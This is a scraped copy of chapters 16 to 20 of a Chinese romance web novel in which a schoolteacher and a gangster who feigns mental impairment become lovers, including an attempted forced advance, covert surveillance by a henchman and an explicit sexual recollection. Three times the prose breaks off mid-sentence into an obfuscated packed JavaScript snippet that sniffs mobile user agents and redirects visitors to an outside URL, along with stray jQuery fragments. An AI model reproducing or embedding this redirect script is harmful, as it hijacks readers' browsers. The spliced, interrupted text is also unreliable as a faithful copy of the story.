他是真的没想到霍不归会对他做出这种事,哪怕以前霍不归也没对他做过什么好事,哪怕晚上洗澡时霍不归都已经在他面前起了反应,他都没想过会是这样。
他、他怎么能……!
佟月舟不禁捂起脸,尽管身上的衣服还是完好的,但他却觉得自己像是一|丝|不|挂一样,薄薄一层体面全都被霍不归肆无忌惮地扯碎了。
过去他生了坏心,就专门要找自己来戏弄。
如今他起了邪念,又要压到自己身上来发泄。
他到底为什么要这么对自己……!
佟月舟越想越难过,非常非常的难过。扪心自问,他觉得自己从没有哪一点对不起霍不归。过去的种种,他都已经忍下了,如今他不计前嫌地收留他,为他求医问药,给他吃饭穿衣,甚至还想着他若是实在好不了,那今后就这么一直照顾着他了。
……结果,却换来了这样的对待。
那个人是不是从来都只把自己当个玩意儿,想折腾了,就来随心所欲折腾一番。
佟月舟伤心地想。
他是不是即便是痴了,傻了,都没有把自己当个人看。
佟月舟蜷在椅子上,脸埋在膝盖间,只觉得再生不出一点力气,只能任凭自己瘫软地歪靠在椅背上。他也知道霍不归脑子坏了,不能用正常人的标准评价他,他也不应该为个傻子的行为伤心。但他就是伤心,打心底里头伤心,伤心伤得冷清清,空荡荡的,伤心到后来,似乎和霍不归都没了多少关系。
就觉得……一切都没什么意思。
世界这么大,这么繁华,可自己的目力所及,却只有空寥寥的一片。自己在还是不在,都没什么区别,自己在想什么,在做什么,也都没有谁会在意。一个人在这世上走走停停,停停走走的,感觉走了好远好远,回过神来,却又仍像是留在原地。
别人的世界,都是花红柳绿、莺歌燕语的热闹,怎么到了自己这里,就成了一片静默的真空呢。
很想摆脱这个真空的世界,但怎样做,到头来,似乎都是徒劳。
佟月舟靠在椅背上,将自己藏在一室昏暗之中,怔怔望着门外幽寂的夜色。这时只听有脚步声在楼上响起,又顺着楼梯,步步向下而来。
佟月舟抬起头,只见霍不归走下楼梯,似是要来寻他,却又在楼梯口旁停下了脚步,站在那里看他,默默地不发一言。
佟月舟也看着那边的霍不归,就只静静地看,没再对他气愤,也没有赶他走开。
两人就这样沉默对视着,许久许久,谁都没有开口说话。
月光不懂此刻的沉默,悄悄漫过敞开的大门,播下轻雾,洒了淡银。
于是两人间便隔了条清浅的银河,从夜空,流淌过夜色,他在这方,他在彼岸。
17. 泛滥成灾
方才佟月舟跑走了之后,霍不归一直坐在床上,一边等着下边偃旗息鼓,一边思考着傻子道歉的一百种方法。
这个歉是必须要道的,冒着不够傻的风险,也得把这歉给道了。
一时兴起,二话不说,就要强上人家。
清醒过来之后,霍不归也承认这确实不是人干的事。
就算要当傻子,这事也得一步一步来;就算清楚自己不是一时兴起,那也得想办法让佟月舟也清楚,自己是真心的想和他好。
霍不归打定主意,想好方案,便下楼去找那个被自己气跑了的人。然而就在他楼下了一半,看到一片幽暗中蜷缩在椅子上的佟月舟时,那一百种方案顿时就成了一百张苍白潦草的废纸,只配被一把团起,全都扔到阴沟里去。
胸口蓦然间就疼了起来。
就在看到佟月舟的那一刻。
心脏好像一下子被谁紧攥了起来,血流凝滞,呼吸不得,胸口里面那股子闷痛是生理性的真切,丝丝缕缕,缠绵不绝,又无法抑制地迅速蔓延去了四肢百骸之中。
一时间,他也不明白他是在心疼佟月舟什么。
但他就是心疼。
心疼得只想什么也不管地冲过去,对他说上千句万句的对不起。
可怎么办,傻却是不能不装的。
佟月舟看着他,不动,也不说话。霍不归好歹将那疼压下去几分,便又迈开步子,蹚过浅淡的月光,披着一抹淡银,走到了佟月舟身边,在他的椅子旁蹲了下来。
佟月舟的目光随着霍不归的脚步由远及近,又和他一同低了下来。
“你是来和我道歉的么。”
佟月舟轻声说着,长长的睫毛半遮着眼。
十分难得,这一次,他倒是一下子就和霍不归对上了信号。霍不归点了点头,拉过佟月舟的手,握在了手心里。
佟月舟也不再像初时那样激动,任由霍不归握着,并没把手抽回来。
“其实你也不是什么都不懂,是不是?”
他垂眼看着霍不归。
“你也知道我生气了,是不是?”
霍不归又点了点头,没敢看佟月舟,也没敢开口说什么,只是将额头贴在了佟月舟的手背上,在心里替佟月舟骂着自己。
“那你以后不要再这样对我了。”
佟月舟慢慢地说着,一字一句,说得很认真。
“你以前总是欺负我,戏弄我,我都很生气。”
“你保证以后都不会了,我才能原谅你。”
霍不归默默贴着佟月舟的手背,半晌,终于闷声说了一句:
“保证。”
不知道是不是错觉,佟月舟隐约觉得眼前的霍不归,似乎是没有平时那么傻了。他有情绪,也有想法,他想向自己道歉,他还回答了自己一句,保证。
不过佟月舟没有去深究这一则错觉,今晚的事让他很累,身体累,心也累,他现在什么也不愿再想,只想回去自己的床上,好好睡上一觉。
于是佟月舟便没再说什么,站起身来,向楼梯走去。霍不归也连忙起身,跟着佟月舟登上了二楼,走去了卧房,然而进了卧房里,他却又站在门口,没再往里走。
他跟来佟月舟的卧房,并不是还在想那件事。他没有想对佟月舟怎样,他只是不想走。
他不想自己在楼下,佟月舟在楼上。
好远,太远了。
他不想让佟月舟一个人呆着,也不想他们离得那么远。
这幢小楼里就只有他们两个,他们不应该离得那么远。
佟月舟回头看了他一眼,没有说什么。没催他去睡,也没赶他走,看了那一眼之后,他便走去了床边坐下,背对着霍不归躺了下来。
过了一会儿,他又往床里挪了挪,留出了一块地方。
霍不归眼睛忽地一下就亮了。他想过去,又不敢过去,在心里天人交战着反复确认了无数次佟月舟的意思,最终还是觉得,那块地方,就是给他留的。
于是他犹豫着走到了床前,先溜着边坐上去了一点。木床发出了一声轻微的咯吱声,而佟月舟并没有什么反应,就仍是安静躺着。霍不归看着佟月舟,又迟疑了一下,方才小心翼翼地躺去了他身旁,躺得平平的,手脚放得非常端正,整个人都老实得像个尸体。
佟月舟动了下身子,发出了一点衣料摩擦的声音,霍不归稍微转头看了下,喉结滚了滚,又把头转了回来。
“霍不归。”
佟月舟的声音从床铺里侧传出来,闷闷的,不太清晰。
“你为什么对我做这样的事?”他问。
为什么……还能为什么。
霍不归心里想。
功能正常,又道德不佳,所以精虫上脑,没管住下半身呗。
不过这么条理清晰直击要害的回答,他当然是不能说出口的。正当他琢磨着该怎么准确又不失呆傻地回应佟月舟的话,只听旁边佟月舟又开了口。
“你是……喜欢我吗?”佟月舟问。
喜欢……
霍不归一怔,刚思考了一半的回应一下子就散了。
自己……喜欢佟月舟?
虽然这话和“想跟佟月舟好”也没什么太大区别,但是喜欢这词明明白白摆在眼前,莫名地就让霍不归有点发懵。
我喜欢佟月舟……
我……喜欢佟月舟?
佟月舟等了一会儿,没等到霍不归的反应,便翻过身来去看霍不归。霍不归微一偏头,正好就对上了佟月舟的目光。那双眼瞳在昏蒙的光线中微微映着一点光亮,视线相撞在一起,他却也没有躲闪,仍是认真望着霍不归的脸,好像也并没在期待能得到什么确定的回答,只是想要从他的眼角眉梢间,寻得些许答案的端倪。
他希望我喜欢他。
霍不归忽然就从那双眼中读出了点什么。
哪怕我是个傻子……他也希望我喜欢他吗?
心底不经意间涌起了一股热意,渐渐地涨满了整个心房,又盛装不下地满溢出心尖,直烘得人胸口一片酸软。老实了半天的手又开始蠢蠢欲动,霍不归忍了又忍,终于还是没能忍住,抬手轻触上佟月舟的肩膀,又一点点地试探着,环去了他的身后。
喜欢,怎么能不喜欢。
一旦动心,便是情难自禁。霍不归将疼在心里的人紧紧抱进怀里,嘴唇有意无意地,轻轻触上他的额头。
原本模糊的心情总算清晰了起来,迟疑的问题也有了确定的解答。
因为就在热意涌出的那一刻,霍不归方才后知后觉,那融在心里泛滥成灾的,原来都是他的名字。
***
清风穿过翠竹丛,撩得一阵竹叶沙沙。佟月舟停下批改作业的笔,抬起头,看着花窗外的竹叶摇摇曳曳,又渐渐停歇下来。
昨天的那句话,他到最后,也没有听到霍不归回答什么。
但答案……似乎又是有的。
被霍不归抱进怀里,他有点紧张,身体也有点僵硬,不过并没有躲开。
那怀里面很暖,烘得自己身上也热乎乎的,笼罩在鼻间的,满都是那个人独有的气息。
他心跳的声音嗵嗵,嗵嗵的,很有力道,让那一贯清冷寂静的深夜,似乎都稍微热闹了一些。
他猜,霍不归该是喜欢他的。
霍不归病了,他的喜欢或许和正常人不同,但佟月舟想,这也没什么关系。
毕竟他自己,也没和正常人有多相同。
本想着不要耽误哪家姑娘,这辈子就不娶妻,不成家了,却没想到,老天竟是为他做了这样的安排。
也挺好的。
佟月舟望着窗外的青青竹叶,嘴角下意识地,微微扬起了一些。
虽然这个人心智不全,但佟月舟清楚,自己也并不是委屈着,勉强着,被动地随
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813406|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
波逐流。
他也愿意和霍不归在一处待着,哪怕他心智不全。
他能陪自己读书写字,能陪自己逛街市店铺。
他会给自己送花,还会折纸,折可爱的小东西送给自己。
自己与他说什么,他都认真在听,牵着他走着,一回头,就能看见他对自己笑。
有霍不归在,他也很开心。
发自内心地开心。
至于昨晚那件事,佟月舟也已经不在意了。
后来的一整晚,他什么都没有做,就安安静静地抱着自己睡到天亮。
很在乎的,很小心的,就那样抱着自己。
自己生气了,他是在意的。
哪怕是不全的心智,那颗心里也有他。
这就足够了。
走在回家的路上,佟月舟这样想着,脚步忍不住都快了一些。自家户门就在前方,佟月舟快赶几步跑到门前,一推开门,见霍不归正好就站在厅堂外面。一见他回来,霍不归立刻就笑开了,迎上前来,手里又拿了一支不知从哪儿来的花送到他面前,不说话,就只笑,笑得傻傻乎乎,可可爱爱。
佟月舟也笑,拉起他的手,牵着他走去了正屋。两人一起吃了晚饭,霍不归又陪着佟月舟看书,佟月舟讲着今天学堂里的琐事,说小孩子怎样淘气,又说了从齐先生那听来的八卦,霍不归听着他讲,不搭腔,仍是笑。
就,特别满足。
霍不归也是弄不懂自己了。从小乞丐,到小混混,再到赌场大佬,这二十几年里也是蹚过了不少的冷暖世故,可怎么到了佟月舟这儿,竟然就又像小孩子一样纯情起来了。
昨晚什么也没干,就抱着。
今天也什么都没干,就一块呆着。
结果还满足得不行。
霍不归只觉得自己整个人都像是飘在云彩上面,自从佟月舟回来就飘,晕晕乎乎,晃晃悠悠,就这么飘了一晚上,一直飘到佟月舟帮他洗漱完,到了该睡觉的时候。
佟月舟领着他去了二楼的卧房。
佟月舟没再赶他回他的房间。
佟月舟还对他笑,笑得不太好意思,睫毛一低,脸就转去了别处。
一瞬间,霍不归顿时就觉得自己不行了,完蛋了,快要炸了。
心涨得快炸了,下面涨得也快炸了。
但他又不敢急,生怕自己把事情搞砸,又惹了佟月舟生气。佟月舟脱掉了外衣,躺上了床去,像昨天一样,在床外侧留出了一块地方给他。霍不归手忙脚乱地跟着躺上去,躺得端端正正的,感觉自己这辈子都没这么紧张过。
“噗……”
霍不归刚躺平,就听旁边佟月舟笑了一声。他偏过头去看佟月舟,却见佟月舟视线落去了靠下的地方。
霍不归呼吸一顿,也向下看去。
……那玩意儿就那么高高地撑着裤子,站着的时候还有上衣略作遮掩,人一躺下,那就成了一马平川上的一座喜马拉雅。
霍不归咽咽口水,居然少有地感觉到了一丝手足无措。
也不怪他的人生经验都喂了狗,毕竟这二十几年不管是什么样,他都是第一次当傻子。
还是当一个特别喜欢,特别在意,只怕又让佟月舟不高兴的傻子。
霍不归下意识屏住呼吸,盼着脑子能飞速地思考一下,告诉他到底该怎么应对这场面。但这脑子却怎么也不听话,装死一样瘫成一块死肉,就任由一团火在他身上越烧越烈。理智命悬一线,摇摇欲坠着,而这时小手指却似有似无地被人碰了一下,然后又轻轻地,被谁勾在了指间。
电光石火轰地一声,强撑的那点理智就这么彻底被烧没了。
霍不归倒吸口气,猛地一个翻身,撑在了佟月舟上方。
而佟月舟没有躲他,也没有推他。
佟月舟嘴角抿起点笑,静静地看着他。
佟月舟的眼睛里,只有他。
18. 这么讨厌的一个人
“老大,老大?”
陈江海瞄着霍不归的神情,绷了半天,忍了又忍,最后还是开口叫了他两声。
也不怪陈江海绷不住,他家老大盯着赌场账本上的某一页,翻也不翻地已经盯了好几分钟了。
而且不仅盯着一页不翻,时不时的,他还笑。
那笑奇奇怪怪的,也说不清是个好笑还是坏笑,笑得陈江海心惊胆战毛骨悚然的。
他刚才偷偷扫了一眼,老大盯的那一页,是初八那天的账。
初八那天怎么了?
陈江海绞尽脑汁使劲回忆。
初八那天……那天……
就、挺好的啊……
不是发薪日,也不是盘点日,那天客人挺多的,赌得都挺热闹的,该哭的哭,该笑的笑,但没人闹事,也没人赖账。入账不少,赚得挺好,当天管账房的伙计是小六,小六也是老人儿了,记的账应该也不会出什么岔子。
总之初八,那就是特别正常,特别平凡,完全没有哪点特殊的一天。
所以老大到底什么意思?
陈江海实在猜不透,只得又叫了霍不归一声。
“……老大?”
“嗯??”
这一声不知是乘对了哪道气运,终于是把霍不归飞到天边的神思给叫了回来。他抬头看向陈江海,眼神有点发亮,嘴角边还含着一丝没收回去的笑。
陈江海顿时一个激灵,甚至要怀疑自家老大是不是被什么邪|教给洗脑了。他狐疑地看了看霍不归,犹豫了一下,到底还是没提邪|教的事,只是试探着开口问道。
“老大,初八这天的账……有什么问题吗?”
“……问题?”
霍不归愣了愣。
他也不知道初八有什么问题。他眼睛是盯在账本上,但其实心思根本就没往这一条一条的账目上落。
他在想佟月舟。
准确地说,他是在想昨天晚上的佟月舟。
早知道佟月舟生得好,佟月舟脱了衣服的样子,他也是见过的。
但他没想到佟月舟有这么好,好得就像从天而降的稀世珍宝。
他身上皮肤又细腻,又滑润,触感就像上好的丝缎似的。他很瘦,皮肤下的肌肉薄薄一层,腰身就只有盈盈一握。锁骨很直,在颈下凹出一对浅浅的窝,扬起脖子的时候喉结一滚一滚的,让人忍不住就想叼住它含进嘴里去。
然后霍不归就叼了,含了。
不仅是喉结,还有他背上的那颗红痣。
非常不管不顾,非常肆意妄为,弄得那红痣周围一圈,都充血充得殷红。
不过他虽然瘦,该有肉的地方,那摸起来的手感简直让人血脉偾张。一摸,就足以上瘾,若再一亲,那基本就等于是中了迷药。
特别是亲在某些地方,就那种,细嫩得就像剥了壳的鸡蛋的地方。
霍不归一想到那处,忍不住地就又要来劲。
他不大,但很好看,颜色也很淡。
碰一碰,他身子就会颤,有时还会不明显地出一点声。
他其实不太爱出声,总是忍着。但后来还是出了,就在最后那会儿。
那声音简直好听到不行,一声一声地挠着自己的心尖,挠得自己实在是受不了,不然或许还能坚持得更久一点。
不过没坚持太久也好,他看起来是不太能禁得住的样子。潮落之后,他眼神一直涣散着聚不了焦,身上红红白白,人也湿漉漉、软绵绵的,一副被折腾得够呛的样子。
但霍不归感觉自己也没太折腾,他觉得应该还是佟月舟身子有点弱。所以他也没敢马上要第二次,就抱着他,亲着他,细细闻着他身上的味道,从头发,到耳后,再到脸颊,再到脖颈。然而闻上那么一会儿,整个人就迷迷糊糊地又陷进去了。
然后就中毒了一样的,又来了一次。
事后佟月舟是真的累坏了,看着他脱力的样子,霍不归又有点后悔自己精虫上脑。但佟月舟却也没怪他太要,困得眼皮都直耷拉,还摸他的头发,对着他笑。
宝贝儿,是我的宝贝儿。
霍不归想起佟月舟笑着的样子,扬起的嘴角就怎么也压不下去。
今天早上起来,他也一直是笑的。他给自己梳了头发,理好衣服,还仔细扣好扣子,他说虽然病了,也要整整齐齐,干干净净的,这样好看。
然后霍不归就没忍住,抱住他亲了半天。佟月舟也没躲,有点生涩地回应着,亲完了,还是对他腼腆腆地笑。
怎么办。
太喜欢了,怎么就这么喜欢了。
什么叫一发不可收拾,这就叫一发不可收拾。
霍不归兀自回味着,没注意到旁边陈江海的表情已经陷入了深深的疑惑。他把账本递给陈江海,随便说了几句“行了”“好吧”“就这么着”的废话,便挥挥手打发陈江海走。而还没等陈江海翻墙出去,他一声“哎等等”,又把陈江海给叫住了。
“老大,您还有什么吩咐?”
陈江海刚爬了一半的墙,赶紧又跳了下来。
“你再帮我办件事。”
霍不归思考了一下,开口还有点正经。
“你现在去一趟青竹学堂,去看看佟月舟,看他在干什么,跟谁说话了,状态什么样,然后回来告诉我。”
“哦对,别让他发现你。”
“知道了。”
陈江海认真应下霍不归的指示,想想,又多问了两句。
“老大您的意思是,要监视佟月舟么?”
“他是不是有什么问题?我是不是需要重点关注点什么?”
“没什么,你去看就是了。”
霍不归没多说,就拍拍陈江海的肩膀,示意他快去。陈江海便也不再多问,领了吩咐,便动作利落地翻墙走了。
***
今天天气不错,是烟城少有的风和日丽。佟月舟特意空出了半节课,让孩子们在院子里多玩一玩,他则搬了把藤椅坐在回廊边,一边晒着太阳,一边看管着孩子们不要乱跑出去。
阳光柔柔淡淡,洒在这方不大的院子里,被阳光暖过的孩童嬉笑声清甜又明亮,听得人心中温软软的。佟月舟靠在藤椅上,看孩子们在青竹丛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813407|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
间跑跑跳跳地玩耍,只觉得心情很是安宁。
身上有点酸痛,下面也有点不适,不过都没关系。
他对自己是好的。他虽然不说话,但他确实不是什么也不懂。
他很渴望自己,自己能感觉到。
他也心疼自己,同样也能感觉得到。
佟月舟想着,不自觉地,微微漾起一点笑意。这时院中忽然传来声音,是有孩子在唤“佟先生”。
“怎么了?”
佟月舟连忙起身前去,只见几个孩子跑了过来,指着院墙上面,争相对佟月舟说着“毽子”、“踢上去了”、“是小田踢的”、“拿不下来了”。
佟月舟抬头去看,见旁边墙头的瓦片中间,果然是卡住了一个棕毛毽子。于是他找来根竹竿,帮孩子们把毽子打了下来,孩子们向佟月舟道了谢,便拿着毽子,又笑着闹着跑走玩去了。
孩子们跑开,墙边便只剩下了佟月舟一个人。他不禁看向那方院墙,仿佛从那墙头青瓦上方,又看到了那个毛头少年探身出来的模样。
当年他还在这里上学的时候,霍不归每每来学堂捣乱,就都是从这道墙上边翻进来的。
这样说也不太准确,霍不归不是来给学堂捣乱的,那个人就只是来给他捣乱的。
有时佟月舟从墙下经过,突然就会听到有人叫他。
“哎,佟月舟。”
他若条件反射地抬头,就会看到霍不归扒在墙头上,见他看过来了,便手臂一撑,翻到墙上,蹲在那溜瓦片上朝他笑,大大咧咧,没心没肺的。
当时佟月舟着实是烦他,连带着那张脸上的笑,看着都觉得是个很坏的笑。一眼都不想多看见他,于是佟月舟一向都会加快步子走掉,而这时霍不归就会从那墙头上霍地跳下来,快跑几步拦住他说:
“别走啊,我来给你看个好东西。”
这好东西当然从来都不是什么好东西。虫子,蛇,烂骨头,泥巴水,脏头发,只有佟月舟想不到,没有霍不归拿不出的。佟月舟不想看,甩开他闷头往前走,然后霍不归就会强行挡到他前面,轰地一下,把手里的东西烧成一团火,或是哗地弄出一股子黑烟。搞完这些,他还特别开心,哈哈乐着,还要盯着佟月舟看,就像期待着佟月舟给他点什么特别的反应。
他当然不给他反应。
他巴不得这人早点玩腻了捉弄他的游戏。
不知所谓,奇奇怪怪,无比讨厌……
……结果多年后,他们竟是成了这样的关系。
佟月舟低头笑笑,忽然觉得好不可思议。
他傻了,反倒是会好好对自己了,人也是可爱多了。笑起来可爱,呆呆的也可爱,早上起来迷迷糊糊,还要抱着自己亲,也好可爱。他也没有再拿出什么烂骨头脏头发,他还会给自己送花了。
佟月舟想着,又抬头看向那墙上的青瓦,忽然感觉记忆中那个少年的笑,好像也没有那么坏了。
有点想他了。
佟月舟慢步走回藤椅边坐下,望着微微摇曳的青竹,默默发呆。
不知道他现在,在做什么呢?
19. 一辈子不醒
“我过去的时候,佟月舟正好就在学堂院子里。”
陈江海办事挺干练,没多久,就回来跟霍不归复命了。
“没在上课,那帮小孩都在院子里玩,佟月舟就在一边坐着看着。”
“跟他说话的人只有小孩,没大人,小孩毽子踢墙上去了,叫他帮忙拿来着,应该没什么问题。”
“他状态挺自然的,没做什么反常的事。不过我只是观察了一刻钟左右,看不全乎。您要是想继续监视他,回去我吩咐下边兄弟,找人轮班过去守着他。”
“不过您最好还是能指个方向,这样我们监视的时候也好知道该往哪方面多注意注意。”
陈江海汇报得条理清晰,显然把霍不归的吩咐一条一条都执行得很是仔细。霍不归听完,瞥了一眼自己的得力手下,叼着烟卷,意义不明地笑了一下。
“监视什么监视。”霍不归道。
陈江海一愣,不明白霍不归是什么意思。只见霍不归把烟从嘴里拔出来,弹了弹烟灰,又塞进唇间,吸了一口。
“你看他高兴吗?”霍不归问。
“……高、高兴?”
陈江海更懵了,瞪着两只眼呆看着霍不归,就像没听懂这俩字。
“就是他笑了没。”
霍不归难得又解释了一句。
“笑……”
老大都这么问了,陈江海只能赶紧回想,想了半天,终于在佟月舟捡毽子的情节中捕捉到了一个佟月舟笑的画面。
“笑了笑了!”
陈江海立马眼睛一亮。
“他把毽子递给小孩的时候,他就笑来着!”
陈江海感觉自己回忆得还挺快的,回答也符合老大的要求,但不知为什么,老大听了这回答,看自己的表情是一脸嫌弃。
“那个……老大?”
陈江海实在是摸不清霍不归的心思,只能不怕死地又问了一句。
“您问他高不高兴……是什么意思?”
换作平时,被手下这么打听意图,霍不归早就该烦了,不过今天这位老大明显心情很好,虽然没搭理陈江海的问题,但模样看起来也没有不耐烦的意思。
“那,”
霍不归眼睛没看陈江海,也不知道想起什么了,叼着烟的嘴角勾起点笑。
“那你看,他想我了没?”
想想想想想谁???
陈江海瞬间呆住,足足呆了有好几秒钟,那颗秤砣脑袋才终于把今天这一大堆前言后语串在一起,琢磨出点味儿来。
“老大……”
陈江海凑近了些,斟酌着问道。
“您、您不会是把那书呆子给办了吧!”
“啧,叫谁书呆子呢?”
霍不归一皱眉,不满地斜了陈江海一眼。
“呃……那、佟先生?”
陈江海改了个口,突然又福至心灵,想到了那个最合适的称呼。
“大嫂!是大嫂、大嫂!”
“嗯。”
霍不归满意了,也不皱眉了,乐乐呵呵的。
“问你呢,你看他想我了没?”
“这、这我哪儿看得出来……”
陈江海笑得憨厚。
“等他回来,您俩人关起门来,您自己问他呗。”
确定了霍不归心情不错,陈江海说话也放肆了点。而霍不归倒还真是心情一好什么都不计较,甚至还拿出耐心,悉心教导了陈江海两句。
“这有什么看不出来,你就看他有没有发呆,有没有走神,有没有莫名其妙的一个人笑不就得了。”
霍不归的教导还真挺有效的,听老大这么一说,陈江海马上就又福至心灵了——这不就是老大他自己的状态吗!
于是陈江海在脑子里搜寻了一番,很快就发现了一段非常符合描述的画面。
“有有,还真有!”
陈江海乐着说道。
“就捡完了毽子之后,佟……不,大嫂,他就在那墙边发了半天呆,发着呆吧,还往墙头上看,看完好像还真笑了来着!”
墙头……
霍不归顿了一下,立刻就明白了佟月舟往墙上看什么——
过去他每次去青竹学堂找佟月舟,就是翻那墙进去的。
燃尽的烟灰不意间落在了地上,霍不归眼神有点怔,但胸腔里头一颗心却忽地一下就蹿上了天。
他想佟月舟,想了一整天了。
而他想佟月舟的时候,原来佟月舟,也在想他。
心里盘桓了一天的想念瞬间就膨胀躁动了起来,霍不归手一撑从杂物堆上跳下,脚底下仿佛着了火,恨不能现在此时立刻马上,直接就飞到佟月舟身边去。笑容一挂上脸,就怎么也收不回来,他几口抽完一根烟,又不走心地夸了陈江海几句,急着忙着赶紧把人打发走,然后就跑到天井里坐着去了。
飞不到佟月舟身边,他就在这儿等他回来。
不是必须要等,也不是没别的事做,但他就是想在这儿等着。
他想佟月舟回来的第一秒,立刻就把他拉进怀里边抱着。
户门吱呀一声打开,霍不归急忙站起身去看,结果进门来的不是佟月舟,是沈伯,手里边还拎着菜和肉。
沈伯看见霍不归,对他笑了一下,便去厨房准备晚饭了。厨房那边很快传出了哗哗的水声和笃笃的切菜声,天井里面就又只剩下了霍不归一个人。
佟月舟怎么还没回来呢。
时候也差不多了吧。
又等了会儿,霍不归有点坐不住,起身在天井里转悠来转悠去的。
是学堂放课晚了?还是去干别的事了?
霍不归心里胡乱瞎琢磨。
他去干什么了啊?一个人,还是和别人?
不会有什么要紧事吧……这事有多要紧?
他不想早点回家么,他不想早点看见我么……
巷子里时常有脚步声传来,一有脚步声,霍不归就侧耳去听,但那脚步声往往都是匆匆经过,又声声远去,并没有停下来的意思。霍不归强耐着性子听着,直到来回来去地听了十几趟脚步声过去,总算是听到一串脚步踏上石阶,停在了门口外。
佟月舟!
霍不归腾地站起身,只见户门果然应声而开,出现在门口那个身穿月白长衫的青年,正是佟月舟。
霍不归脸上的笑意一下子就绽成了花,他几步上前迎到佟月舟面前,但却也没敢像想象的那样什么也不管地一猛子就把人抱住。沈伯从厨房探出头来,笑着啊了一声,便又去忙了,佟月舟应了沈伯的招呼,便转回头,将目光落在霍不归脸上,柔柔软软的,淡淡含着笑。
“我回来了。”
佟月舟握起霍不归的手,又领着他走进厅堂。
“来,我给你买了东西,你看喜不喜欢。”
他给我买了东西?
他回来晚了,是去给我买东西了?
霍不归心里美得直炸烟花,只见佟月
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16813408|190824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
舟将手中的两个纸包放在八仙桌上,先打开了一个,里面包的是几本书。
“我想你在家会无聊,所以就给你买了点消遣的书。”
佟月舟温声说道。
“不知道你还能不能读懂,读不懂也没关系,这些书都是有图画的,画得很好,你如果无聊了,可以翻着看看。”
“这包,”
佟月舟又拆开了另一个纸包。
“这是我路过点心铺子买的果子。也不知道你喜欢吃哪样,就随便挑了几样买,你都尝尝,喜欢哪个,跟我说,我再去买些回来。”
佟月舟说着,将大纸包里面的几个小纸包一一打开,想拿一个给霍不归吃,又想起自己还没净手。他说着要去把手洗一洗,让霍不归等一下,却不防被身边那人一把拽住,不由分说就被拉上了楼梯,上去了二楼。
实在是忍不了了。
霍不归不爱看书,也没那么喜欢吃果子。
但他喜欢佟月舟给他买书,喜欢佟月舟给他买果子。
他喜欢佟月舟心里想着他。
他等佟月舟的时候,佟月舟就站在书店、果子店,想自己可能会爱看什么,爱吃什么,想挑这个,又犹豫着是不是要挑那个。一想到这些,霍不归就恨不能将他的心肝宝贝整个都揉到自己身体里去,时时刻刻,分分秒秒,都不让他离开自己一寸。
他急吼吼将佟月舟拉到卧房里,门也没关,一下子就将人扑倒在了床上。佟月舟惊叫一声,却并没有推开霍不归。他看着撑在自己身上,那目不转睛注视着自己的人,温温一笑,伸手抚上霍不归的脸。
“想我了?”佟月舟轻声问。
霍不归觉得自己好像是嗯了一声,又好像没嗯,记不清了,没意识了,因为下一秒他就已经迫不及待俯身下去,含住了那双带着笑的唇。
好软,好甜。
刚一尝,人就醉了。不知此处何处,不知今夕何夕,满心只想把那绵软的唇,那灵巧的舌,全都吞进自己的喉咙里去。一双手慢慢攀上后背,身下的人也微扬起下巴回应着他,有点笨拙,却又动情,喉间偶尔忍不住地逸出一点点声音,轻轻的,似有似无的,然而就只那一点点,就已经足以星火燎原。
“哎。”
星火把原燎成了什么样,佟月舟又怎么会感觉不出来。他扑哧一笑,又轻轻咬了一下霍不归的下唇。
“大白天的,先忍一忍,一会儿沈伯还要来叫我们吃饭的。”
霍不归也知道现在不是时候,可怀里的人实在太甜、太香了,而且这人叫他忍,却还要咬他的唇。
让我忍,就别撩我了。
霍不归拿出了全部的意志力,才堪堪和那双唇分开了一些,可意志力用完了,一丝都没剩下,抱着人的手就怎么也松不开来。他紧紧将佟月舟圈在怀里,将脸埋在他颈窝,试图平复下粗重的喘息,但那颈窝又实在太温香细滑,教他无意识地就嗅着,蹭着,喘息没平下来,脑子便已经缺氧一般糊成了一团浆糊。
有人慢慢抚着自己脑后的头发,又像哄小孩一样地有一下没一下,轻拍着自己的背。霍不归本来是顶不喜欢被佟月舟当小孩,但如今却竟一点都不想抗拒。从内到外,从身到心,从皮肉到骨头,都被他拍得酥酥软软,舒服得不行。糊掉的脑子没法思考,这会儿的智力恐怕是真的退到了三岁,就在某一刻间,霍不归居然想要就这样糊着,傻着,融开,化掉,就化在佟月舟的怀里,融进佟月舟的身体,一辈子都不要再醒来。
20. 大仙出山
“出家门,去学堂,讲课,下课,这种每天都一样的事,还用你报个屁。”
霍不归把手里的铜钱往陈江海身上一丢,显然对他今日的报告不太满意。
“你能不能说点我不知道的。”
铜钱叮铃铃落地,陈江海忙把老大的铜钱捡起来,又恭敬递了回去。
“呃……那个……”
“说点细节,特别点的。”
霍不归不耐烦地提醒。
“细节……细节……哦!细节!有细节!”
陈江海脑子里突然灵光闪了闪。
